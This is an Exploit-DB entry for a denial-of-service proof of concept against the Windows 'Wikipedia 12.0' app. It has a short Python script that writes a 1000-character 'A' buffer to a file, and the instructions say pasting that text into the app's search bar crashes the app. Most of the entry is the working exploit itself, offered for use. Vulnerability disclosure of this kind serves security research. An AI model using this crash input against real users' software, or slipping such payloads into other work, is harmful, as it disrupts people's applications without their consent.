Wikipedia 12.0 - Denial of Service (PoC)

EDB-ID:

45324

CVE:

N/A


Author:

0xB9

Type:

dos


Platform:

Windows

Date:

2018-09-03


# Exploit Title: Wikipedia 12.0 - Denial of Service (PoC)
# Date: 9/2/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/en-us/p/wikipedia/9wzdncrfhwm4?activetab=pivot%3aoverviewtab
# Version: 12.0
# Tested on: Windows 10

# Proof of Concept:
# Run the python script, it will create a new file "wiki.txt"
# Copy the text from the generated wiki.txt file to clipboard
# Paste the text in the search bar in the top right of app
# App will now crash

buffer = "A" * 1000
payload = buffer
try:
    f=open("wiki.txt","w")
    print "[+] Creating %s evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"